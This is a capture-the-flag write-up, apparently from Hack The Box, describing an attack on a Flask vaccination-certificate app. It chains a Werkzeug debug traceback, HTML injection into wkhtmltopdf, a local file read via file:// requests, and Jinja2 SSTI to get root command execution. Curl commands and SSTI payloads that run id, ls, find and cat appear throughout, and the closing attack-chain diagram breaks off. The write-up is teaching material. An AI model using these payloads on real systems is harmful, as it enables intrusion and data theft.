Summary
JinjaCare is a Flask-based COVID-19 vaccination verification web app. The intended path chains wkhtmltopdf HTML/local-file injection (via the certificate-generation feature) to disclose the Flask application source, which in turn reveals a post-substitution render_template_string() call — a textbook Server-Side Template Injection (SSTI) pattern. That SSTI is exploited via the Jinja2 sandbox-escape gadget chain (self.__init__.__globals__) to achieve remote code execution running as root.
Attack surface entry point: /verify certificate lookup led nowhere directly, but pivoting through registration → Werkzeug debug traceback → profile management uncovered the real vulnerable chain.
Recon
curl http://:
The landing page identifies the app as "JinjaCare" — a COVID-19 vaccination verification platform with /monitoring, /verify, and /login routes linked in the nav. The name itself is a strong hint toward Jinja2 template injection somewhere in the app.
curl -I http://:
HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Tue, 14 Jul 2026 05:52:05 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 16518
Connection: keep-alive
Vary: Cookie
Nginx reverse-proxying a backend app (confirmed Flask later via error tracebacks).
Initial Enumeration — /verify
The /verify endpoint takes a certificate_id parameter via GET and displays a validity result:
curl "http://:/verify?certificate_id=%7B%7B7*7%7D%7D"
curl "http://:/verify?certificate_id=test123"
Both requests returned an identical "Invalid certificate" response with no reflection of the input — this endpoint performs a database lookup before any rendering occurs, ruling out direct SSTI here.
Forcing an Error — Werkzeug Debug Mode
Probing /register with a malformed request (JSON body against a form-expecting endpoint) triggered a full Werkzeug debug traceback:
curl http://:/register -H "Content-Type: application/json" \
-d '{"username":"tester","email":"b@b.com","password":"tester123"}'
Traceback (most recent call last):
File "/usr/local/lib/python3.9/site-packages/flask/app.py", line 1488, in __call__
return self.wsgi_app(environ, start_response)
[... snipped ...]
File "/app/app.py", line 52, in register
email = request.form['email']
File "/usr/local/lib/python3.9/site-packages/werkzeug/datastructures/structures.py", line 192, in __getitem__
raise exceptions.BadRequestKeyError(key)
werkzeug.exceptions.BadRequestKeyError: 400 Bad Request
KeyError: 'email'
<script>
var CONSOLE_MODE = false,
EVALEX = true,
EVALEX_TRUSTED = false,
SECRET = "4689943sFJltwbtgi7z0";
script>
The traceback confirmed:
-
Flask app, Python 3.9, source at
/app/app.py -
Werkzeug interactive debugger (
EVALEX) is enabled, protected by a PIN -
/registerexpectsemail,name,passwordform fields
The debugger PIN wasn't computable remotely at this stage (requires MAC address / machine-id not yet disclosed), so this path was set aside in favor of continuing app enumeration.
Registration & Authenticated Surface
Registering an account (POST /register with email, name, password, confirmPassword) succeeded and granted access to an authenticated dashboard at /dashboard, which links to:
-
/profile/personal— name, email, phone, address, DOB, gender, emergency contact -
/profile/medical— free-text medical record entries (condition, doctor, hospital, notes) -
/profile/vaccinations— vaccination record entries (vaccine, location, provider) -
/generate_certificate— generates a PDF vaccination certificate
name field validation on /register
Testing {{7*7}} as a registration name returned a flash message: "Name can only contain letters and spaces" — a server-side regex filter (^[a-zA-Z ]+$) blocks SSTI attempts at registration time.
Set-Cookie: session=eyJfZmxhc2hlcyI6...HPlMN2olIbpiTuNK38_0bsSg9BA; HttpOnly; Path=/
Location: /register
(decoded flash message: "Name can only contain letters and spaces")
Prefix/newline bypass attempts (test{{7*7}}, test\n{{7*7}}) were also rejected with the identical message, indicating the regex fully anchors the string.
PDF Certificate Generation — wkhtmltopdf
/generate_certificate returns a PDF built with wkhtmltopdf 0.12.6, confirmed via PDF metadata:
%PDF-1.4
1 0 obj
<<
/Title ()
/Creator (wkhtmltopdf 0.12.6)
/Producer (Qt ...
Testing medical/vaccination free-text fields for SSTI ({{7*7}} in condition, doctor, notes, location, provider) showed the literal string reflected unescaped in /profile/medical — but crucially, these fields are not used by /generate_certificate at all; the certificate only pulls the account's name field.
Bypassing the name filter via /profile/personal
The letters-only regex applied to /register is not re-applied on the profile-update endpoint (POST /profile/personal), which updates the same name column with no validation:
curl -i -s http://:/profile/personal -b cookies.txt \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "name=SSTITEST123
" \
--data-urlencode "email=" [... other required fields ...]
curl -s http://:/generate_certificate -b cookies.txt -o cert.pdf
pdftotext cert.pdf -
rendered as a real heading in the resulting PDF:SSTITEST123
JinjaCare
COVID-19 Vaccination Certificate
Name:
SSTITEST123
Official Document - 99f85f34-ca50-4b3c-b079-4c53ee358a5a
Date of Issue: 2026-07-14
Vaccination Status: Fully Vaccinated
— confirming raw HTML injection into the wkhtmltopdf rendering pipeline via the name field.
Local File Read via wkhtmltopdf
A direct was blocked at the frame-load level:
Failed to load URL file:///etc/passwd.
Frame load interrupted by policy change
WebKit Error 102
This indicates local file access is restricted at the navigation/frame-load layer — but JavaScript execution inside the rendered page is not restricted, and a synchronous XHR request to a file:// URI bypasses the navigation-level policy check:
--data-urlencode 'name='
Regenerating the certificate returned the full contents of /etc/passwd embedded in the PDF text:
Name: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin
[... snipped, full standard /etc/passwd entries ...]
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
confirming arbitrary local file read.
Reading application source
The same technique against file:///app/app.py (path disclosed by the earlier Werkzeug traceback) dumped the complete Flask application source into the certificate PDF:
from flask import Flask, render_template, request, redirect, url_for, flash, send_file, session,
render_template_string
from flask_login import LoginManager, UserMixin, login_user, login_required, logout_user, current_user
import sqlite3
from werkzeug.security import generate_password_hash, check_password_hash
from database import init_db, get_db
import re, pdfkit, os, tempfile, qrcode, io, base64, uuid, random
from functools import wraps
from datetime import datetime, timedelta
[... snipped: app init, User model, /register, /login, /dashboard routes ...]
@app.route('/generate_certificate')
@login_required
def generate_certificate():
db = get_db()
try:
cert_id = str(uuid.uuid4())
db.execute('INSERT INTO certificates (user_id, certificate_id, issue_date, status) VALUES (?, ?, datetime(\'now\'), \'valid\')', [current_user.id, cert_id])
db.commit()
[... QR code generation snipped ...]
user = db.execute('SELECT * FROM users WHERE id = ?', [current_user.id]).fetchone()
template = ""
try:
with open("templates/certificate_template.html") as r:
template = r.read()
template = template.replace("{{ certificate_id }}", cert_id)
template = template.replace("{{ name }}", user['name'])
template = template.replace("{{ status }}", "Fully Vaccinated")
template = template.replace("{{ issue_date }}", datetime.now().strftime("%Y-%m-%d"))
template = template.replace("{{ qr_code_url }}", qr_code_url)
html = render_template_string(template)
except Exception as template_error:
raise
[... pdfkit conversion, options, send_file snipped ...]
except Exception as e:
flash(f'Error generating certificate: {str(e)}', 'error')
return redirect(url_for('dashboard'))
[... snipped: /monitoring, /verify, /profile/personal, /profile/medical, /profile/vaccinations routes ...]
if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0')
Root Cause — Post-Substitution render_template_string()
The disclosed source revealed the vulnerable logic in generate_certificate():
with open("templates/certificate_template.html") as r:
template = r.read()
template = template.replace("{{ name }}", user['name'])
...
html = render_template_string(template)
The user-controlled name is substituted into the template as a raw string before the entire result is passed to render_template_string(). Anything the attacker places where {{ name }} was gets re-parsed and executed as live Jinja2 syntax — this is a classic and highly exploitable SSTI antipattern, distinct from (and more dangerous than) the raw HTML injection used to reach it.
Crucially, this path bypasses the letters-only filter entirely, since that filter only exists on /register, not on /profile/personal.
Exploitation — SSTI to RCE
Confirming template execution:
--data-urlencode "name={{7*7}}"
JinjaCare
COVID-19 Vaccination Certificate
Name: 49
Vaccination Status: Fully Vaccinated
Date of Issue: 2026-07-14
→ confirms genuine Jinja2 evaluation (not string reflection).
Escaping the Jinja2 sandbox via the standard Flask gadget chain:
--data-urlencode "name={{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
JinjaCare
COVID-19 Vaccination Certificate
Name: uid=0(root) gid=0(root) groups=0(root)
Vaccination Status: Fully Vaccinated
Date of Issue: 2026-07-14
Further confirmed with directory listing:
--data-urlencode "name={{ self.__init__.__globals__.__builtins__.__import__('os').popen('ls').read() }}"
Name: __pycache__ app.py config.py data database.py requirements.txt reset_db.py static
supervisord.log supervisord.pid templates
Confirmed remote code execution running as root, via a one-shot request/response chain: submit payload to /profile/personal → trigger /generate_certificate → extract command output from the resulting PDF with pdftotext.
Flag
Locating the flag:
--data-urlencode "name={{ self.__init__.__globals__.__builtins__.__import__('os').popen('find / -iname \"*flag*\" 2>/dev/null').read() }}"
[... snipped: /proc and /sys false-positive paths from find ...]
/flag.txt
Reading it:
--data-urlencode "name={{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /flag.txt').read() }}"
HTB{REDACTED}
Attack Chain
┌─────────────────────┐
│ /register (POST) │ name field: letters-only regex enforced
└──────────┬───────────┘
│ regex blocks direct SSTI here
▼
┌─────────────────────┐
│ Malformed /register │ triggers Werkzeug debug traceback
│ request (JSON body) │ → leaks /app/app.py path, Flask/Py3.9,
└──────────┬───────────┘ EVALEX debugger enabled
▼
┌─────────────────────┐
│ Authenticated session │ register + login → /dashboard
└──────────┬───────────┘
▼
┌──────────────────────────┐
│ /profile/personal (POST) │ name field: NO validation
│ │ (filter only exists on /register)
└──────────┬─────────────────┘
▼
┌──────────────────────────┐
│ /generate_certificate │ wkhtmltopdf renders name as raw HTML
│ (wkhtmltopdf 0.12.6) │